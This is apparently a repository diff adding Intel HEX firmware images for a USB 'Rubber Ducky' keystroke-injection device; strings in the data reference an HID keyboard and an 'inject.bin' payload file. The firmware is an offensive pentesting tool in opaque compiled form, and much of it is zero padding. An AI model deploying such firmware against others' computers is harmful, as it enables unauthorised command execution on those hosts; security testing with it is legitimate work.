+:106BC40011892FF9B089301AF4091800E088008B74 +:106BD4003009F7DCC028B089301CFEB0DA3D4B48E0 +:106BE40090095809C0302019B0094B2870095899E8 +:106BF400E08B00774B08F009032F30DCFEB0E06F28 +:106C0400C7114AB89009F8091900C6C14A99301A3F +:106C1400930AE06900FAB009D822309CFEB0F65C11 +:106C2400C5B8FEB0F6051897C050FEB0F61130098D +:106C3400C548FEB0F623EDDCB010FEB0F61F49F8EF +:106C44005C7CEDEC1086B0065C76EC081608EDD69C +:106C5400C008C05149A9B2883099C3F8109949585D +:106C6400EE091900C0313039C3983059C378493816 +:106C7400119CFEB0FB733049C3084908119CFEB057 +:106C8400FB97C2A848D8118CFEB0FBC83069C25823 +:106C940048A8119CFEB0FB623079C1F84878119C79 +:106CA400FEB0FB863089C198000002180000021A69 +:106CB400000001088000731C0000021E0000021C7A +:106CC4004898118CFEB0FBBEC07848891388201800 +:106CD4005C58B288C071302948589109D8223009CB +:106CE4009109D8220000021E0000021C00000108C5 +:106CF400D401FEB0E15A5C7CC62FD802D421205DB9 +:106D0400FEB0E010D50330094B08B0D9B089B09972 +:106D1400B0A9B0B9B0C93019B0E9FEB0FA55FEB0A7 +:106D2400D9714AB8F0EA0008FAEB0008F0E800006C +:106D34001A97FAE90000304B4A6CFEB0DF611A9BE7 +:106D4400FE7C2400FEB0E0393009FE7C2400129A57 +:106D5400129BFEB0E04FFE7C2400FEB0E0EDEEE8B6 +:106D64000008204DFAE90008EEE80000E06C1B0082 +:106D7400EA1C00B7FAE90000FEB0DE5C300CFEB09D +:106D8400FA472FCD1897580CC0F1FACBFFF0FEB09C +:106D9400FA49FEB0F96949080E9A700C301BFEB02E +:106DA400F873C060C0C8302CFEB0D99ECFDB302C45 +:106DB400FEB0D99A302CFEB0D9BDCFABFEB0E3F013 +:106DC400FEB0E3BEC008D703000007708000735C08 +:106DD4008000734400000104D4013008C0D8F808CE +:106DE400070EF6080709201A2FF8F20E1800C04003 +:106DF400FC09010CD802580ACF31149CD802588AD5 +:106E0400C2F5F9EB1009E2190003E0810097E04AAA +:106E14000020C3B4F4081402F0091108FE09002F7D +:106E2400766999697659995976499949763999399A +:106E3400762999297619991976099909F608002B62 +:106E4400F8080028E01A0003F40A1104FE0A002FCF +:106E540017A9B0A91799B0991789B0895EFCF40AEB +:106E64001109FE0A002F17F9B8F917E9B8E917D97B +:106E7400B8D917C9B8C917B9B8B917A9B8A917990A +:106E8400B8991789B8895EFCEBCD40C01899220ADD +:106E9400B707B326B707B326B707B326B707B32692 +:106EA400220ACF742F0AC065B707B326B707B326E3 +:106EB400210A5C3AFE0A003FD703D703F736000ED7 +:106EC400F366000EF736000DF366000DF736000C7E +:106ED400F366000CF736000BF366000BF736000A76 +:106EE400F366000AF7360009F3660009F73600086E +:106EF400F3660008F7360007F3660007F736000666 +:106F0400F3660006F7360005F3660005F73600045D +:106F1400F3660004F7360003F3660003F736000255 +:106F2400F3660002F7360001F3660001F73600004D +:106F3400F3660000E3CD80C0201AF60A0709F80AB8 +:106F44000B09CFB15EFC1898C03810CB201A580A30 +:046F5400CFD15EFC3F +:10700000C0080000C0080000C0080000C008000060 +:10701000C0080000C0080000C0080000C008000050 +:10702000C0080000C0080000C0080000C008000040 +:10703000C0080000C0080000C0080000C008000030 +:10704000C0080000C00800000000000000000000B0 +:10705000C008000000000000000000000000000068 +:10706000C008000000000000000000000000000058 +:10707000C008000000000000000000000000000048 +:107080000000000000000000000000000000000000 +:1070900000000000000000000000000000000000F0 +:1070A00000000000000000000000000000000000E0 +:1070B00000000000000000000000000000000000D0 +:1070C00000000000000000000000000000000000C0 +:1070D00000000000000000000000000000000000B0 +:1070E00000000000000000000000000000000000A0 +:1070F0000000000000000000000000000000000090 +:10710000C008D703300CFEB0DE31580CF80F171052 +:10711000D603301CFEB0DE2A580CF80F1710D60329 +:10712000302CFEB0DE23580CF80F1710D603303C7D +:10713000FEB0DE1C580CF80F1710D6030000010437 +:107140004000011280000120C000012ED703D703A8 +:10715000D703D703D703D703D703D703D703D7035F +:10716000D703D703D703D703D703D703D703D7034F +:10717000D703D703D703D703D703D703D703D7033F +:10718000D703D703D703D703D703D703D703D7032F +:10719000D703D703D703D703D703D703D703D7031F +:1071A000D703D703D703D703D703D703D703D7030F +:1071B000D703D703D703D703D703D703D703D703FF +:1071C000D703D703D703D703D703D703D703D703EF +:1071D000D703D703D703D703D703D703D703D703DF +:1071E000D703D703D703D703D703D703D703D703CF +:1071F000D703D703D703D703D703D703D703D703BF +:1072000000000000000000800000000000000000FE +:10721000000000000000010000000001000000006C +:10722000000000000020000000000002000000003C +:107230000000000000400000000000060000000008 +:1072400000000001000001640000000B0000016864 +:10725000000000060000019400000007000001ACDF +:1072600000000001000001C800000001000001CC86 +:10727000000000010000012C0000000100000130AE +:10728000000000000000013400000001000001388F +:10729000000000000000013C00000001000001406F +:1072A000000000010000014400000001000001484E +:1072B000000000030000014C000000010000015824 +:1072C000000000000000015C0000000100000160FF +:1072D000525261413A2A3F223C3E7C002B2C2E3BED +:1072E0003D5B5D007272416180002A6080002B501E +:1072F00080002A5C80002A5E80002B0880002AC45F +:10730000800073042253442F4D4D43204361726427 +:10731000206F7665722053504922000080006BFE7A +:1073200080006C1E80006C2680006C7280006C7E79 +:1073300080006C8880006C9480006CA080006CC41D +:1073400080006CCE0F0019000E001100413A5C69FC +:107350006E6A6563742E62696E00000001000000B1 +:1073600000B71B00080000010001000000202020E1 +:1073700020202020202028282828282020202020E5 +:1073800020202020202020202020202020881010B5 +:107390001010101010101010101010101004040411 +:1073A00004040404040404101010101010104141CF +:1073B00041414141010101010101010101010101BD +:1073C00001010101010101011010101010104242D1 +:1073D000424242420202020202020202020202028D +:1073E000020202020202020210101010200000002D +:1073F000000000000000000000000000000000008D +:10740000000000000000000000000000000000007C +:10741000000000000000000000000000000000006C +:10742000000000000000000000000000000000005C +:10743000000000000000000000000000000000004C +:10744000000000000000000000000000000000003C +:10745000000000000000000000000000000000002C +:10746000000000000000000000000000000000001C +:107470000000000F0105010906A101050719E02917 +:10748000E715002501750195088102810119002980 +:1074900065150025657508950681000508190129FF +:1074A000051500250175019505910295039101C00F +:1074B000800064A0800064988000646C800062B8E2 +:1074C00009022200010100A03209040000010300AA +:1074D0000100092111012001223B00070581030859 +:1074E0000002000000000058000000840000004876 +:1074F000000000900000007C120100020000000863 +:107500003C410621000101020301000048494420DA +:107510004B6579626F617264000000004455434B13 +:1075200059000000000300000000000000000000FF +:10753000000000000000000000000000000000004B +:107540000000000000000000000000000000040334 +:10755000090400003132303132303333304142439C +:107560004445463031323334000000008000734C13 +:08757000000000018000736DB2 +:040000058000000077 +:00000001FF diff --git a/Rubber_Duck/HAK/Firmware/Images/m_duck.hex b/Rubber_Duck/HAK/Firmware/Images/m_duck.hex new file mode 100755 index 0000000..5787790 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Images/m_duck.hex @@ -0,0 +1,2065 @@ +:0200000480007A +:10000000E08F100000000000000000000000000071 +:1000100000000000000000000000000000000000E0 +:1000200000000000000000000000000000000000D0 +:1000300000000000000000000000000000000000C0 +:1000400000000000000000000000000000000000B0 +:1000500000000000000000000000000000000000A0 +:100060000000000000000000000000000000000090 +:100070000000000000000000000000000000000080 +:100080000000000000000000000000000000000070 +:100090000000000000000000000000000000000060 +:1000A0000000000000000000000000000000000050 +:1000B0000000000000000000000000000000000040 +:1000C0000000000000000000000000000000000030 +:1000D0000000000000000000000000000000000020 +:1000E0000000000000000000000000000000000010 +:1000F0000000000000000000000000000000000000 +:1001000000000000000000000000000000000000EF +:1001100000000000000000000000000000000000DF +:1001200000000000000000000000000000000000CF +:1001300000000000000000000000000000000000BF +:1001400000000000000000000000000000000000AF +:10015000000000000000000000000000000000009F +:10016000000000000000000000000000000000008F +:10017000000000000000000000000000000000007F +:10018000000000000000000000000000000000006F +:10019000000000000000000000000000000000005F +:1001A000000000000000000000000000000000004F +:1001B000000000000000000000000000000000003F +:1001C000000000000000000000000000000000002F +:1001D000000000000000000000000000000000001F +:1001E000000000000000000000000000000000000F +:1001F00000000000000000000000000000000000FF +:1002000000000000000000000000000000000000EE +:1002100000000000000000000000000000000000DE +:1002200000000000000000000000000000000000CE +:1002300000000000000000000000000000000000BE +:1002400000000000000000000000000000000000AE +:10025000000000000000000000000000000000009E +:10026000000000000000000000000000000000008E +:10027000000000000000000000000000000000007E +:10028000000000000000000000000000000000006E +:10029000000000000000000000000000000000005E +:1002A000000000000000000000000000000000004E +:1002B000000000000000000000000000000000003E +:1002C000000000000000000000000000000000002E +:1002D000000000000000000000000000000000001E +:1002E000000000000000000000000000000000000E +:1002F00000000000000000000000000000000000FE +:1003000000000000000000000000000000000000ED +:1003100000000000000000000000000000000000DD +:1003200000000000000000000000000000000000CD +:1003300000000000000000000000000000000000BD +:1003400000000000000000000000000000000000AD +:10035000000000000000000000000000000000009D +:10036000000000000000000000000000000000008D +:10037000000000000000000000000000000000007D +:10038000000000000000000000000000000000006D +:10039000000000000000000000000000000000005D +:1003A000000000000000000000000000000000004D +:1003B000000000000000000000000000000000003D +:1003C000000000000000000000000000000000002D +:1003D000000000000000000000000000000000001D +:1003E000000000000000000000000000000000000D +:1003F00000000000000000000000000000000000FD +:1004000000000000000000000000000000000000EC +:1004100000000000000000000000000000000000DC +:1004200000000000000000000000000000000000CC +:1004300000000000000000000000000000000000BC +:1004400000000000000000000000000000000000AC +:10045000000000000000000000000000000000009C +:10046000000000000000000000000000000000008C +:10047000000000000000000000000000000000007C +:10048000000000000000000000000000000000006C +:10049000000000000000000000000000000000005C +:1004A000000000000000000000000000000000004C +:1004B000000000000000000000000000000000003C +:1004C000000000000000000000000000000000002C +:1004D000000000000000000000000000000000001C +:1004E000000000000000000000000000000000000C +:1004F00000000000000000000000000000000000FC +:1005000000000000000000000000000000000000EB +:1005100000000000000000000000000000000000DB +:1005200000000000000000000000000000000000CB +:1005300000000000000000000000000000000000BB +:1005400000000000000000000000000000000000AB +:10055000000000000000000000000000000000009B +:10056000000000000000000000000000000000008B +:10057000000000000000000000000000000000007B +:10058000000000000000000000000000000000006B +:10059000000000000000000000000000000000005B +:1005A000000000000000000000000000000000004B +:1005B000000000000000000000000000000000003B +:1005C000000000000000000000000000000000002B +:1005D000000000000000000000000000000000001B +:1005E000000000000000000000000000000000000B +:1005F00000000000000000000000000000000000FB +:1006000000000000000000000000000000000000EA +:1006100000000000000000000000000000000000DA +:1006200000000000000000000000000000000000CA +:1006300000000000000000000000000000000000BA +:1006400000000000000000000000000000000000AA +:10065000000000000000000000000000000000009A +:10066000000000000000000000000000000000008A +:10067000000000000000000000000000000000007A +:10068000000000000000000000000000000000006A +:10069000000000000000000000000000000000005A +:1006A000000000000000000000000000000000004A +:1006B000000000000000000000000000000000003A +:1006C000000000000000000000000000000000002A +:1006D000000000000000000000000000000000001A +:1006E000000000000000000000000000000000000A +:1006F00000000000000000000000000000000000FA +:1007000000000000000000000000000000000000E9 +:1007100000000000000000000000000000000000D9 +:1007200000000000000000000000000000000000C9 +:1007300000000000000000000000000000000000B9 +:1007400000000000000000000000000000000000A9 +:100750000000000000000000000000000000000099 +:100760000000000000000000000000000000000089 +:100770000000000000000000000000000000000079 +:100780000000000000000000000000000000000069 +:100790000000000000000000000000000000000059 +:1007A0000000000000000000000000000000000049 +:1007B0000000000000000000000000000000000039 +:1007C0000000000000000000000000000000000029 +:1007D0000000000000000000000000000000000019 +:1007E0000000000000000000000000000000000009 +:1007F00000000000000000000000000000000000F9 +:1008000000000000000000000000000000000000E8 +:1008100000000000000000000000000000000000D8 +:1008200000000000000000000000000000000000C8 +:1008300000000000000000000000000000000000B8 +:1008400000000000000000000000000000000000A8 +:100850000000000000000000000000000000000098 +:100860000000000000000000000000000000000088 +:100870000000000000000000000000000000000078 +:100880000000000000000000000000000000000068 +:100890000000000000000000000000000000000058 +:1008A0000000000000000000000000000000000048 +:1008B0000000000000000000000000000000000038 +:1008C0000000000000000000000000000000000028 +:1008D0000000000000000000000000000000000018 +:1008E0000000000000000000000000000000000008 +:1008F00000000000000000000000000000000000F8 +:1009000000000000000000000000000000000000E7 +:1009100000000000000000000000000000000000D7 +:1009200000000000000000000000000000000000C7 +:1009300000000000000000000000000000000000B7 +:1009400000000000000000000000000000000000A7 +:100950000000000000000000000000000000000097 +:100960000000000000000000000000000000000087 +:100970000000000000000000000000000000000077 +:100980000000000000000000000000000000000067 +:100990000000000000000000000000000000000057 +:1009A0000000000000000000000000000000000047 +:1009B0000000000000000000000000000000000037 +:1009C0000000000000000000000000000000000027 +:1009D0000000000000000000000000000000000017 +:1009E0000000000000000000000000000000000007 +:1009F00000000000000000000000000000000000F7 +:100A000000000000000000000000000000000000E6 +:100A100000000000000000000000000000000000D6 +:100A200000000000000000000000000000000000C6 +:100A300000000000000000000000000000000000B6 +:100A400000000000000000000000000000000000A6 +:100A50000000000000000000000000000000000096 +:100A60000000000000000000000000000000000086 +:100A70000000000000000000000000000000000076 +:100A80000000000000000000000000000000000066 +:100A90000000000000000000000000000000000056 +:100AA0000000000000000000000000000000000046 +:100AB0000000000000000000000000000000000036 +:100AC0000000000000000000000000000000000026 +:100AD0000000000000000000000000000000000016 +:100AE0000000000000000000000000000000000006 +:100AF00000000000000000000000000000000000F6 +:100B000000000000000000000000000000000000E5 +:100B100000000000000000000000000000000000D5 +:100B200000000000000000000000000000000000C5 +:100B300000000000000000000000000000000000B5 +:100B400000000000000000000000000000000000A5 +:100B50000000000000000000000000000000000095 +:100B60000000000000000000000000000000000085 +:100B70000000000000000000000000000000000075 +:100B80000000000000000000000000000000000065 +:100B90000000000000000000000000000000000055 +:100BA0000000000000000000000000000000000045 +:100BB0000000000000000000000000000000000035 +:100BC0000000000000000000000000000000000025 +:100BD0000000000000000000000000000000000015 +:100BE0000000000000000000000000000000000005 +:100BF00000000000000000000000000000000000F5 +:100C000000000000000000000000000000000000E4 +:100C100000000000000000000000000000000000D4 +:100C200000000000000000000000000000000000C4 +:100C300000000000000000000000000000000000B4 +:100C400000000000000000000000000000000000A4 +:100C50000000000000000000000000000000000094 +:100C60000000000000000000000000000000000084 +:100C70000000000000000000000000000000000074 +:100C80000000000000000000000000000000000064 +:100C90000000000000000000000000000000000054 +:100CA0000000000000000000000000000000000044 +:100CB0000000000000000000000000000000000034 +:100CC0000000000000000000000000000000000024 +:100CD0000000000000000000000000000000000014 +:100CE0000000000000000000000000000000000004 +:100CF00000000000000000000000000000000000F4 +:100D000000000000000000000000000000000000E3 +:100D100000000000000000000000000000000000D3 +:100D200000000000000000000000000000000000C3 +:100D300000000000000000000000000000000000B3 +:100D400000000000000000000000000000000000A3 +:100D50000000000000000000000000000000000093 +:100D60000000000000000000000000000000000083 +:100D70000000000000000000000000000000000073 +:100D80000000000000000000000000000000000063 +:100D90000000000000000000000000000000000053 +:100DA0000000000000000000000000000000000043 +:100DB0000000000000000000000000000000000033 +:100DC0000000000000000000000000000000000023 +:100DD0000000000000000000000000000000000013 +:100DE0000000000000000000000000000000000003 +:100DF00000000000000000000000000000000000F3 +:100E000000000000000000000000000000000000E2 +:100E100000000000000000000000000000000000D2 +:100E200000000000000000000000000000000000C2 +:100E300000000000000000000000000000000000B2 +:100E400000000000000000000000000000000000A2 +:100E50000000000000000000000000000000000092 +:100E60000000000000000000000000000000000082 +:100E70000000000000000000000000000000000072 +:100E80000000000000000000000000000000000062 +:100E90000000000000000000000000000000000052 +:100EA0000000000000000000000000000000000042 +:100EB0000000000000000000000000000000000032 +:100EC0000000000000000000000000000000000022 +:100ED0000000000000000000000000000000000012 +:100EE0000000000000000000000000000000000002 +:100EF00000000000000000000000000000000000F2 +:100F000000000000000000000000000000000000E1 +:100F100000000000000000000000000000000000D1 +:100F200000000000000000000000000000000000C1 +:100F300000000000000000000000000000000000B1 +:100F400000000000000000000000000000000000A1 +:100F50000000000000000000000000000000000091 +:100F60000000000000000000000000000000000081 +:100F70000000000000000000000000000000000071 +:100F80000000000000000000000000000000000061 +:100F90000000000000000000000000000000000051 +:100FA0000000000000000000000000000000000041 +:100FB0000000000000000000000000000000000031 +:100FC0000000000000000000000000000000000021 +:100FD0000000000000000000000000000000000011 +:100FE0000000000000000000000000000000000001 +:100FF00000000000000000000000000000000000F1 +:1010000000000000000000000000000000000000E0 +:1010100000000000000000000000000000000000D0 +:1010200000000000000000000000000000000000C0 +:1010300000000000000000000000000000000000B0 +:1010400000000000000000000000000000000000A0 +:101050000000000000000000000000000000000090 +:101060000000000000000000000000000000000080 +:101070000000000000000000000000000000000070 +:101080000000000000000000000000000000000060 +:101090000000000000000000000000000000000050 +:1010A0000000000000000000000000000000000040 +:1010B0000000000000000000000000000000000030 +:1010C0000000000000000000000000000000000020 +:1010D0000000000000000000000000000000000010 +:1010E0000000000000000000000000000000000000 +:1010F00000000000000000000000000000000000F0 +:1011000000000000000000000000000000000000DF +:1011100000000000000000000000000000000000CF +:1011200000000000000000000000000000000000BF +:1011300000000000000000000000000000000000AF +:10114000000000000000000000000000000000009F +:10115000000000000000000000000000000000008F +:10116000000000000000000000000000000000007F +:10117000000000000000000000000000000000006F +:10118000000000000000000000000000000000005F +:10119000000000000000000000000000000000004F +:1011A000000000000000000000000000000000003F +:1011B000000000000000000000000000000000002F +:1011C000000000000000000000000000000000001F +:1011D000000000000000000000000000000000000F +:1011E00000000000000000000000000000000000FF +:1011F00000000000000000000000000000000000EF +:1012000000000000000000000000000000000000DE +:1012100000000000000000000000000000000000CE +:1012200000000000000000000000000000000000BE +:1012300000000000000000000000000000000000AE +:10124000000000000000000000000000000000009E +:10125000000000000000000000000000000000008E +:10126000000000000000000000000000000000007E +:10127000000000000000000000000000000000006E +:10128000000000000000000000000000000000005E +:10129000000000000000000000000000000000004E +:1012A000000000000000000000000000000000003E +:1012B000000000000000000000000000000000002E +:1012C000000000000000000000000000000000001E +:1012D000000000000000000000000000000000000E +:1012E00000000000000000000000000000000000FE +:1012F00000000000000000000000000000000000EE +:1013000000000000000000000000000000000000DD +:1013100000000000000000000000000000000000CD +:1013200000000000000000000000000000000000BD +:1013300000000000000000000000000000000000AD +:10134000000000000000000000000000000000009D +:10135000000000000000000000000000000000008D +:10136000000000000000000000000000000000007D +:10137000000000000000000000000000000000006D +:10138000000000000000000000000000000000005D +:10139000000000000000000000000000000000004D +:1013A000000000000000000000000000000000003D +:1013B000000000000000000000000000000000002D +:1013C000000000000000000000000000000000001D +:1013D000000000000000000000000000000000000D +:1013E00000000000000000000000000000000000FD +:1013F00000000000000000000000000000000000ED +:1014000000000000000000000000000000000000DC +:1014100000000000000000000000000000000000CC +:1014200000000000000000000000000000000000BC +:1014300000000000000000000000000000000000AC +:10144000000000000000000000000000000000009C +:10145000000000000000000000000000000000008C +:10146000000000000000000000000000000000007C +:10147000000000000000000000000000000000006C +:10148000000000000000000000000000000000005C +:10149000000000000000000000000000000000004C +:1014A000000000000000000000000000000000003C +:1014B000000000000000000000000000000000002C +:1014C000000000000000000000000000000000001C +:1014D000000000000000000000000000000000000C +:1014E00000000000000000000000000000000000FC +:1014F00000000000000000000000000000000000EC +:1015000000000000000000000000000000000000DB +:1015100000000000000000000000000000000000CB +:1015200000000000000000000000000000000000BB +:1015300000000000000000000000000000000000AB +:10154000000000000000000000000000000000009B +:10155000000000000000000000000000000000008B +:10156000000000000000000000000000000000007B +:10157000000000000000000000000000000000006B +:10158000000000000000000000000000000000005B +:10159000000000000000000000000000000000004B +:1015A000000000000000000000000000000000003B +:1015B000000000000000000000000000000000002B +:1015C000000000000000000000000000000000001B +:1015D000000000000000000000000000000000000B +:1015E00000000000000000000000000000000000FB +:1015F00000000000000000000000000000000000EB +:1016000000000000000000000000000000000000DA +:1016100000000000000000000000000000000000CA +:1016200000000000000000000000000000000000BA +:1016300000000000000000000000000000000000AA +:10164000000000000000000000000000000000009A +:10165000000000000000000000000000000000008A +:10166000000000000000000000000000000000007A +:10167000000000000000000000000000000000006A +:10168000000000000000000000000000000000005A +:10169000000000000000000000000000000000004A +:1016A000000000000000000000000000000000003A +:1016B000000000000000000000000000000000002A +:1016C000000000000000000000000000000000001A +:1016D000000000000000000000000000000000000A +:1016E00000000000000000000000000000000000FA +:1016F00000000000000000000000000000000000EA +:1017000000000000000000000000000000000000D9 +:1017100000000000000000000000000000000000C9 +:1017200000000000000000000000000000000000B9 +:1017300000000000000000000000000000000000A9 +:101740000000000000000000000000000000000099 +:101750000000000000000000000000000000000089 +:101760000000000000000000000000000000000079 +:101770000000000000000000000000000000000069 +:101780000000000000000000000000000000000059 +:101790000000000000000000000000000000000049 +:1017A0000000000000000000000000000000000039 +:1017B0000000000000000000000000000000000029 +:1017C0000000000000000000000000000000000019 +:1017D0000000000000000000000000000000000009 +:1017E00000000000000000000000000000000000F9 +:1017F00000000000000000000000000000000000E9 +:1018000000000000000000000000000000000000D8 +:1018100000000000000000000000000000000000C8 +:1018200000000000000000000000000000000000B8 +:1018300000000000000000000000000000000000A8 +:101840000000000000000000000000000000000098 +:101850000000000000000000000000000000000088 +:101860000000000000000000000000000000000078 +:101870000000000000000000000000000000000068 +:101880000000000000000000000000000000000058 +:101890000000000000000000000000000000000048 +:1018A0000000000000000000000000000000000038 +:1018B0000000000000000000000000000000000028 +:1018C0000000000000000000000000000000000018 +:1018D0000000000000000000000000000000000008 +:1018E00000000000000000000000000000000000F8 +:1018F00000000000000000000000000000000000E8 +:1019000000000000000000000000000000000000D7 +:1019100000000000000000000000000000000000C7 +:1019200000000000000000000000000000000000B7 +:1019300000000000000000000000000000000000A7 +:101940000000000000000000000000000000000097 +:101950000000000000000000000000000000000087 +:101960000000000000000000000000000000000077 +:101970000000000000000000000000000000000067 +:101980000000000000000000000000000000000057 +:101990000000000000000000000000000000000047 +:1019A0000000000000000000000000000000000037 +:1019B0000000000000000000000000000000000027 +:1019C0000000000000000000000000000000000017 +:1019D0000000000000000000000000000000000007 +:1019E00000000000000000000000000000000000F7 +:1019F00000000000000000000000000000000000E7 +:101A000000000000000000000000000000000000D6 +:101A100000000000000000000000000000000000C6 +:101A200000000000000000000000000000000000B6 +:101A300000000000000000000000000000000000A6 +:101A40000000000000000000000000000000000096 +:101A50000000000000000000000000000000000086 +:101A60000000000000000000000000000000000076 +:101A70000000000000000000000000000000000066 +:101A80000000000000000000000000000000000056 +:101A90000000000000000000000000000000000046 +:101AA0000000000000000000000000000000000036 +:101AB0000000000000000000000000000000000026 +:101AC0000000000000000000000000000000000016 +:101AD0000000000000000000000000000000000006 +:101AE00000000000000000000000000000000000F6 +:101AF00000000000000000000000000000000000E6 +:101B000000000000000000000000000000000000D5 +:101B100000000000000000000000000000000000C5 +:101B200000000000000000000000000000000000B5 +:101B300000000000000000000000000000000000A5 +:101B40000000000000000000000000000000000095 +:101B50000000000000000000000000000000000085 +:101B60000000000000000000000000000000000075 +:101B70000000000000000000000000000000000065 +:101B80000000000000000000000000000000000055 +:101B90000000000000000000000000000000000045 +:101BA0000000000000000000000000000000000035 +:101BB0000000000000000000000000000000000025 +:101BC0000000000000000000000000000000000015 +:101BD0000000000000000000000000000000000005 +:101BE00000000000000000000000000000000000F5 +:101BF00000000000000000000000000000000000E5 +:101C000000000000000000000000000000000000D4 +:101C100000000000000000000000000000000000C4 +:101C200000000000000000000000000000000000B4 +:101C300000000000000000000000000000000000A4 +:101C40000000000000000000000000000000000094 +:101C50000000000000000000000000000000000084 +:101C60000000000000000000000000000000000074 +:101C70000000000000000000000000000000000064 +:101C80000000000000000000000000000000000054 +:101C90000000000000000000000000000000000044 +:101CA0000000000000000000000000000000000034 +:101CB0000000000000000000000000000000000024 +:101CC0000000000000000000000000000000000014 +:101CD0000000000000000000000000000000000004 +:101CE00000000000000000000000000000000000F4 +:101CF00000000000000000000000000000000000E4 +:101D000000000000000000000000000000000000D3 +:101D100000000000000000000000000000000000C3 +:101D200000000000000000000000000000000000B3 +:101D300000000000000000000000000000000000A3 +:101D40000000000000000000000000000000000093 +:101D50000000000000000000000000000000000083 +:101D60000000000000000000000000000000000073 +:101D70000000000000000000000000000000000063 +:101D80000000000000000000000000000000000053 +:101D90000000000000000000000000000000000043 +:101DA0000000000000000000000000000000000033 +:101DB0000000000000000000000000000000000023 +:101DC0000000000000000000000000000000000013 +:101DD0000000000000000000000000000000000003 +:101DE00000000000000000000000000000000000F3 +:101DF00000000000000000000000000000000000E3 +:101E000000000000000000000000000000000000D2 +:101E100000000000000000000000000000000000C2 +:101E200000000000000000000000000000000000B2 +:101E300000000000000000000000000000000000A2 +:101E40000000000000000000000000000000000092 +:101E50000000000000000000000000000000000082 +:101E60000000000000000000000000000000000072 +:101E70000000000000000000000000000000000062 +:101E80000000000000000000000000000000000052 +:101E90000000000000000000000000000000000042 +:101EA0000000000000000000000000000000000032 +:101EB0000000000000000000000000000000000022 +:101EC0000000000000000000000000000000000012 +:101ED0000000000000000000000000000000000002 +:101EE00000000000000000000000000000000000F2 +:101EF00000000000000000000000000000000000E2 +:101F000000000000000000000000000000000000D1 +:101F100000000000000000000000000000000000C1 +:101F200000000000000000000000000000000000B1 +:101F300000000000000000000000000000000000A1 +:101F40000000000000000000000000000000000091 +:101F50000000000000000000000000000000000081 +:101F60000000000000000000000000000000000071 +:101F70000000000000000000000000000000000061 +:101F80000000000000000000000000000000000051 +:101F90000000000000000000000000000000000041 +:101FA0000000000000000000000000000000000031 +:101FB0000000000000000000000000000000000021 +:101FC0000000000000000000000000000000000011 +:101FD0000000000000000000000000000000000001 +:101FE00000000000000000000000000000000000F1 +:101FF00000000000000000000000000000000000E1 +:04200000FECFB6C495 +:10200400D401303B307CF01F0014303B308CF01F87 +:102014000012303B315CF01F0010303B316CF01F7C +:10202400000E300B322CF01F000C300B323CF01F32 +:10203400000A300B30DCF01F0008300B326CF01F4C +:102044000006300B327CF01F0004300B328CF01F82 +:102054000002D80280002E88F9DCC00449187009F7 +:10206400F9E910099109580C5E0C48F82108189AEE +:102074005C9AF40A12002FFAF40915041208700984 +:10208400A969E029F000701BF34B0058701BF34B57 +:102094000044701B931BF80A0A4CCEA15EFC00009E +:1020A4000000000880007E00F9DCC00449287009A3 +:1020B400F80A11FFF5E900099109580C5E0C48F87B +:1020C4002108189A5C9AF40A12002FFAF4091504EC +:1020D40012087009A969E029F000701BF34B005441 +:1020E400701BF34B0044701B931BF80A0A4CCEA1DF +:1020F4005EFC00000000000880007E00D4014BC894 +:1021040011DC4BC91389303AF4091800C1E1F13AE2 +:102114000008F1390009F3EA108911F8F1D8C00672 +:10212400F3E811082FF8F00A15134B39930AF5D880 +:10213400C1A94B28B00A72099008A9992019B77847 +:1021440010094AF89109C4284A98F13A000AF13B67 +:102154000008A78B11FEF60E002B11EEFDDEC00267 +:10216400AB6E1C0B2FFBF1380009F1D8C002F40E42 +:102174001607FC0800182FE8F608094820184A0B2F +:102184009708760BF1DCC004F6CCFFFFF808094C85 +:10219400499B970C300C499BB60C309BF6081800F1 +:1021A400E0880008496B760C2098F80809489708DD +:1021B4005809C0C1F1DAC045F5DAC00248C9F3399B +:1021C400000BA37AF5E91259C0C8489AF539000AF8 +:1021D400F3D9C006F538000BA798F00900183009A8 +:1021E4002FF92FF8B1394878B009D8020000041447 +:1021F4000000041200000404000004080000040CA1 +:102204000000040A5EFCD703D401201D189BFE7C49 +:102214002400F01F0009FACBFFFEFE7C2400F01F0F +:102224000007581CC041E06C00FFC0281BBC2FFDF8 +:10223400D8020000800031C6800031E2D421301B76 +:10224400FE7C2400F01F00103007E06500FF48F416 +:102254003FF6C0B82FF7E2570D40C071301BFE7C2B +:102264002400F01F000BD82A0A9CF01F000AA88C37 +:10227400EC0C1800CF01301BFE7C2400F01F00047E +:10228400DA2A00008000309200000424800030DE4E +:102294008000220CD401A97C4838910CF01F000363 +:1022A400D8020000000000F080002240D401F01F9A +:1022B40000035F1CD802000080002240D401A97CE6 +:1022C4004838910CF01F0003D8020000000000F011 +:1022D40080002240EBCD40F818961697E06B00FF83 +:1022E400FE7C2400F01F002B0C9BA7AB5C5BFE7CE8 +:1022F4002400F01F0028EE0B1618FE7C2400F01FAB +:102304000025EE0B1610FE7C2400F01F0022F7D7E8 +:10231400C110FE7C2400F01F001F0E9B5C7BFE7C22 +:102324002400F01F001C3008F0061800C06030883C +:10233400F0061800C101C088E06B0095FE7C240003 +:10234400F01F0014C0E8E06B0087FE7C2400F01F3F +:102354000011C078E06B00FFFE7C2400F01F000D2C +:102364003FF948D8B0893007E06400FF1093129613 +:1023740030B5C0682FF75C57EA071800C080089C86 +:10238400F01F0006A68CEC0C1800CF50E3CD80F8AB +:10239400800031C6000004248000220CEBCD40C034 +:1023A40018971696301BFE7C2400F01F00090C9B26 +:1023B4000E9CF01F00084887AE8C301BFE7C240066 +:1023C400F01F00060F8CE3CD80C000008000309227 +:1023D400800022D800000424800030DEEBCD40FED3 +:1023E40049A811893008F0091800C1F130070E948A +:1023F40049733016E06200FFFE71240030B5C0C896 +:10240400049B029CF01F00132FF75C87EA07190056 +:10241400C031E3CF80FE089B089CF01F000FA68C00 +:10242400EC0C1800CEE1C0E8300B33BCF01F000AFE +:102434004878B08C580CC06030094848B089E3CF64 +:1024440080FEE3CF90FE0000000001080000042499 +:10245400800031C6800023A0EBCD40E01897F01F28 +:102464000049E080008C301BFE7C2400F01F0046F5 +:102474004C6811893038F0091800C0A14C48700B21 +:10248400A99B318CF01F00434C38B08CC0884C0899 +:10249400700B318CF01F003F4BF8B08C4BE8118966 +:1024A4003008F0091800C080301BFE7C2400F01FA7 +:1024B400003BE3CF80E0E06B00FFFE7C2400F01FD4 +:1024C4000038E06B00FEFE7C2400F01F0035EEC6F1 +:1024D400FE00FE7524000F3B0A9CF01F00310C37F0 